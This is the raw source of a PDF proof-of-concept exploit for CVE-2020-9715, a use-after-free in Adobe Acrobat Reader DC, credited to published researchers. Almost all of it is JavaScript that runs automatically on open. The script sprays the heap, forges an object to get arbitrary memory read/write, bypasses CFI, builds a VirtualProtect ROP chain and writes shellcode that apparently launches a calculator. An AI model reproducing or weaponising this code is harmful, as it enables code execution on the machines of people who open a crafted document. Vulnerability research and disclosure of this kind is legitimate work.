%PDF-1.1 1 0 obj << /Pages 2 0 R /Names << /EmbeddedFiles << /Names [(poc.pdf) << /EF << /F 5 0 R >> /F (poc.txt) /Type /F /UF (poc.txt) >>] >> >> /OpenAction << /S /JavaScript /JS( /* CVE-2020-9715 Found by: Mark Yason (@markyason) POC by: Steven Seeley (mr_me) Tekniq: ArrayBuffer length overwrite via faked object SHA1(AcroRdrDC2000920063_en_US.exe) = 39722fa7f45fa46b7d21ad2a96f4b0d3da5983eb References: 1. https://www.zerodayinitiative.com/advisories/ZDI-20-991/ 2. https://www.zerodayinitiative.com/blog/2020/9/2/cve-2020-9715-exploiting-a-use-after-free-in-adobe-reader 3. https://blog.exodusintel.com/2021/04/20/analysis-of-a-use-after-free-vulnerability-in-adobe-acrobat-reader-dc */ var lfh_prime = new Array(0x2000); var string_spray = new Array(0x4000); var array_buffer_spray = new Array(0x8000); var SHIFT_ALIGNMENT = 4; var FAKE_ARRAY_JSOBJ_ADDR = 0x40000058 + SHIFT_ALIGNMENT; var HEAP_SEGMENT_SIZE = 0x10000; var SHELLCODE_ADDR = 0x13333337; var ARRAY_BUFFER_SZ = HEAP_SEGMENT_SIZE-0x10-0x8; function spray_array_buffers() { for (var i = 0; i < array_buffer_spray.length; i++) { array_buffer_spray[i] = new ArrayBuffer(ARRAY_BUFFER_SZ); var dv = new DataView(array_buffer_spray[i]); // ArrayObject.shape_ dv.setUint32(SHIFT_ALIGNMENT+0, FAKE_ARRAY_JSOBJ_ADDR+0x10, true); // ArrayObject.type_ dv.setUint32(SHIFT_ALIGNMENT+4, FAKE_ARRAY_JSOBJ_ADDR+0x40, true); // ArrayObject.elements_ dv.setUint32(SHIFT_ALIGNMENT+0xc, FAKE_ARRAY_JSOBJ_ADDR+0x80, true); // ArrayObject.shape_.base_ dv.setUint32(SHIFT_ALIGNMENT+0x10, FAKE_ARRAY_JSOBJ_ADDR+0x20, true); // ArrayObject.shape_.base_.flags dv.setUint32(SHIFT_ALIGNMENT+0x20+0x10, 0x1000, true); // ArrayObject.type_.classp dv.setUint32(SHIFT_ALIGNMENT+0x40, FAKE_ARRAY_JSOBJ_ADDR+0x40+0x10, true); // ArrayObject.type_.classp.enumerate dv.setUint32(SHIFT_ALIGNMENT+0x40+0x10+0x1c, 0xdead1337, true); // ArrayObject.elements_.flags dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10, 0, true); // ArrayObject.elements_.initializedLength dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+4, 0xffff, true); // ArrayObject.elements_.capacity dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+8, 0xffff, true); // ArrayObject.elements_.length dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+0xc, 0xffff, true); // set the index so we can find it later dv.setUint32(SHIFT_ALIGNMENT+0x80, i, true); dv.setUint32(SHIFT_ALIGNMENT+0x80+4, 0xffffff81, true); } } function prime_lfh() { // activate the LFH bucket for size 0x48 (real chunk size is 0x50) and help improve determinism. // we want the allocation of the UAFed object to fall in the LFH so we can claim its freed chunk more or less reliably. var baseString = "Prime the LFH!".repeat(100); for (var i = 0; i < lfh_prime.length; i++) { lfh_prime[i] = baseString.substring(0, 0x48 / 2 - 1).toUpperCase(); } for (var i = 0; i < lfh_prime.length; i+=2) { lfh_prime[i] = null; } } // thx pve function tounescape(val) { var block = val.toString(16); // this is gross I know... var tounescape = block.substring(4,8) + block.substring(0,4); var tounescapelen = tounescape.length; var unescapestr = ""; for (var i = 0; i < tounescapelen-1; i=i+4){ unescapestr += "%u" + tounescape.substring(i,i+4); } return unescapestr; } function spray_strings() { // spray strings of size 0x48/2-1 in order to eventually allocate into the spot left by the freed chunk base_string = unescape(tounescape(FAKE_ARRAY_JSOBJ_ADDR).repeat(0x48)); for (var i = 0; i < string_spray.length; i++) { string_spray[i] = base_string.substring(0, 0x48 / 2 - 1).toLowerCase(); } } function get_arbitrary_rw(fake_arr_obj) { // size - ArrayObject.elements_ offset - header var next_ab_byte_length_offset = HEAP_SEGMENT_SIZE-0x80-0x10; // avoid nan-boxing, overwrite the next ArrayBuffer size with 0xffffffff fake_arr_obj[next_ab_byte_length_offset / 8] = 2.12199579047120666927013567069E-314; var fake_index = fake_arr_obj[0]; fake_arr_obj[0] = this.addField("t", "text", 0, [0, 0, 0, 0 ]); fake_arr_obj[0].value = "cfi-escape"; // the next one is corrupted, no need to search return new DataView(array_buffer_spray[fake_index+1]); } function read(dataView, absolute_address) { var start_addr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGMENT_SIZE; var addr_offset = absolute_address - start_addr; if (addr_offset < 0) { addr_offset = addr_offset + 0xffffffff + 1; } return dataView.getUint32(addr_offset, true); } function write(dataView, absolute_address, data) { var start_addr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGMENT_SIZE; var addr_offset = absolute_address - start_addr; if (addr_offset < 0) { addr_offset = addr_offset + 0xffffffff + 1; } dataView.setUint32(addr_offset, data, true); } function trigger_uaf() { spray_strings(); // This will cause an access to the freed Data ESObject object in the object cache var fake_arr_obj = this.dataObjects[0] // now we corrupt the ArrayBuffer length and return a dv of it var dv = get_arbitrary_rw(fake_arr_obj); // escript base var escript_addr_delta = 0x275528; var fake_arr_obj_elements_ptr = read(dv, FAKE_ARRAY_JSOBJ_ADDR+0xC); var escript_base_addr = read(dv, read(dv, fake_arr_obj_elements_ptr)+0xc) - escript_addr_delta; // acroForm base var acroform_addr_delta = 0x2827d0; var acroform_base_addr = read(dv, read(dv, read(dv, fake_arr_obj_elements_ptr)+0x10)+0x34) - acroform_addr_delta; // icucnv58 base (cfi bypass) var icucnv58_addr_delta = 0xc3ad8c; var icucnv58_base_addr = read(dv, read(dv, acroform_base_addr+icucnv58_addr_delta)+0x10); var vp_stub = read(dv, escript_base_addr+0x1af058); var sp = icucnv58_base_addr+0x95907; // mov esp, 0x59000008; ret; // write our rop chain write(dv, 0x59000008, vp_stub); // VirtualProtect write(dv, 0x59000008+4, 0x13333337); // return address write(dv, 0x59000008+8, 0x13333337); // buffer write(dv, 0x59000008+12, 0x1000); // sz write(dv, 0x59000008+16, 0x40); // new protect write(dv, 0x59000008+20, 0x13333337-0x20); // old protect // write the shellcode shellcode = [ 0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31, 0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51, 0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b, 0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59, 0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2, 0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x00000000 ] for (var i = 0; i < shellcode.length; i++) { write(dv, 0x13333337+i*4, shellcode[i]); } // set the stack pivot as the ArrayObject.type_.classp.enumerate ptr write(dv, FAKE_ARRAY_JSOBJ_ADDR+0x40+0x10+0x1c, sp); fake_arr_obj.pwn = 2; } spray_array_buffers(); prime_lfh(); // trigger allocation this.dataObjects[0].toString(); // remove ref this.dataObjects[0] = null; // free (via setTimeOut) and re-use (inside of trigger_uaf) var g_timeout = app.setTimeOut("trigger_uaf()", 1000); ) >> >> endobj 2 0 obj << /Kids [3 0 R] /Type /Pages /Count 1 >> endobj 3 0 obj << /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 << /BaseFont /Arial /Subtype /Type1 /Type /Font>> >> >> /Contents 4 0 R /Type /Page >> endobj 4 0 obj << /Length 53 >> stream BT /F1 110 /C0_0 12 Tf 25.368 764.65 Td (CVE-2020-9715) Tj ET endstream endobj 5 0 obj << /Length 12 /Type /EmbeddedFile >> stream Hello World! endstream endobj xref 0 6 0000000000 65535 f 0000000016 00000 n 0000000290 00000 n 0000000348 00000 n 0000000520 00000 n 0000000623 00000 n trailer << /Root 1 0 R /Size 6 >> startxref 708 %%EOF